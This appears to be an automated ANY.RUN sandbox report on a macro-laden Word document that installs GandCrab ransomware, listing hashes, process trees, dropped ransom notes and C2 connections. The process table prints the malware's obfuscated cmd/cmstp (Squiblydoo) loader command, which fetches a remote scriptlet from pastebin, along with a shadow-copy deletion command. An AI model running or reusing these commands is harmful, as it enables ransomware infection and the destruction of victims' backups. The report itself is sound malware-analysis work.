File name:

f9ac090526e9ed22a0e2f7303f2649844dd19cfd.doc

Full analysis: https://app.any.run/tasks/d69e2c2c-2c9b-4ee2-b60f-80956d790a50
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 13:59:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Wed Mar 20 08:04:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

F19D0DA748871517B373AF12A4BB12A9

SHA1:

F9AC090526E9ED22A0E2F7303F2649844DD19CFD

SHA256:

CE83B3100892DFA1E4584437A1C627C8AFDD692BA9953F00AA8074D0E3AAD888

SSDEEP:

1536:8BHYRutkxdA+Ml4tf9v8Z1nRQWSRNSi+T+a9:8BKuejtJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 1420)

    • Application was dropped or rewritten from another process

      • 53468.exe (PID: 2780)

    • Connects to CnC server

      • 53468.exe (PID: 2780)

    • Writes file to Word startup folder

      • 53468.exe (PID: 2780)

    • Actions looks like stealing of personal data

      • 53468.exe (PID: 2780)

    • Dropped file may contain instructions of ransomware

      • 53468.exe (PID: 2780)

    • Changes settings of System certificates

      • 53468.exe (PID: 2780)

    • Renames files like Ransomware

      • 53468.exe (PID: 2780)

    • Deletes shadow copies

      • cmd.exe (PID: 3780)

    • GANDCRAB detected

      • 53468.exe (PID: 2780)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmstp.exe (PID: 1420)
      • cmd.exe (PID: 3024)
      • 53468.exe (PID: 2780)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 1420)

    • Creates files in the program directory

      • 53468.exe (PID: 2780)

    • Adds / modifies Windows certificates

      • 53468.exe (PID: 2780)

    • Reads the cookies of Mozilla Firefox

      • 53468.exe (PID: 2780)

    • Starts CMD.EXE for commands execution

      • 53468.exe (PID: 2780)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2820)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2820)

    • Dropped object may contain Bitcoin addresses

      • 53468.exe (PID: 2780)

    • Dropped object may contain TOR URL's

      • 53468.exe (PID: 2780)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Admin
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: Admin
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: 1.0 minutes
CreateDate: 2019:02:28 14:52:00
ModifyDate: 2019:03:20 08:04:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company:
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 53468.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1420C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\14176.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cmstp.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2676vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
2780"C:\Users\admin\AppData\Roaming\Microsoft\53468.exe" C:\Users\admin\AppData\Roaming\Microsoft\53468.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\microsoft\53468.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2820"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\f9ac090526e9ed22a0e2f7303f2649844dd19cfd.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3024cmd /V /C set "V=s" && !V!et "V0=\" && !V!et "V93=e" && !V!et "V87=i" && !V!et "V5=A" && !V!et "V4=N" && !V!et "V79=d" && c!V5!ll !V!et "V44=%!V5!PP!V79!!V5!T!V5!%" && c!V5!ll !V!et "V3=%R!V5!!V4!!V79!OM%" && !V!et "V36=!V44!!V0!M!V87!cro!V!oft!V0!T!V93!mplat!V93!s!V0!!V3!.txt" && !V!et "V57="^" && (For %i in ("[v!V93!r!V!ion]" "!V!ignatur!V93!=$Wi!V4!dow!V! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!V93!faultIn!V!tall_Singl!V93!U!V!er]" "UnR!V93!gi!V!t!V93!rOCXs=V30" "[V30]" "%11%\%V1_1%%V1_2%%V1_3%,NI,%V64_1%%V64_2%%V64_3%%V64_4%%V64_5%%V64_6%%V64_7%%V64_8%%V64_9%%V64_10%%V64_11%%V64_12%%V64_13%%V64_14%%V64_15%%V64_16%" "[!V!tring!V!]" "V64_1=ht" "V64_2=tp" "V64_3=:/" "V64_4=/p" "V64_5=as" "V64_6=te" "V64_7=bi" "V64_8=n." "V64_9=co" "V64_10=m/" "V64_11=ra" "V64_12=w/" "V64_13=Q0" "V64_14=E8" "V64_15=fd" "V64_16=wn" "V1_2=rO" "V1_1=sC" "V1_3=bJ" ) do @echo %~i)>"!V36!" && echo !V!erv!V87!ceNam!V93!=!V57! !V57!>>!V36! && echo !V!hortSvcN!V5!me=!V57! !V57!>>!V36! && c!V5!ll !V!et "V50=%WI!V4!!V79!IR%" && !V!t!V5!rt "" !V50!!V0!Sy!V!t!V93!m32!V0!cm!V!tp.!V93!x!V93! /s /ns "!V36!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3656C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3780"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
53468.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 601
Read events
1 199
Write events
397
Delete events
5

Modification events

(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:u/;
Value:
752F3B00040B0000010000000000000000000000
(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2820) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1316356126
(PID) Process:(2820) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316356240
(PID) Process:(2820) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316356241
(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
040B000030883071B7E0D40100000000
(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:n0;
Value:
6E303B00040B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:n0;
Value:
6E303B00040B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2820) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
428
Text files
324
Unknown types
15

Dropped files

PID
Process
Filename
Type
2820WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR755.tmp.cvr —
MD5:—
SHA256:—
2820WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF6CD1CF9DDB1D677C.TMP —
MD5:—
SHA256:—
278053468.exeC:\MSOCache\AUVEPYO-MANUAL.txttext
MD5:—
SHA256:—
278053468.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-500\AUVEPYO-MANUAL.txttext
MD5:—
SHA256:—
278053468.exeC:\PerfLogs\AUVEPYO-MANUAL.txttext
MD5:—
SHA256:—
278053468.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
278053468.exeC:\AUVEPYO-MANUAL.txttext
MD5:—
SHA256:—
278053468.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim —
MD5:—
SHA256:—
278053468.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.auvepyo —
MD5:—
SHA256:—
278053468.exeC:\Users\AUVEPYO-MANUAL.txttext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
9

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2780
53468.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
1420
cmstp.exe
GET
200
104.20.208.21:80
http://pastebin.com/raw/Q0E8fdwn
US
xml
206 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1420
cmstp.exe
104.20.208.21:80
pastebin.com
Cloudflare Inc
US
shared
2780
53468.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2780
53468.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
1420
cmstp.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
1420
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
1420
cmstp.exe
Generic Protocol Command Decode
SURICATA STREAM excessive retransmissions
2780
53468.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2780
53468.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2780
53468.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
3 ETPRO signatures available at the full report
No debug info
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Reports
f9ac090526e9ed22a0e2f7303f2649844dd19cfd.doc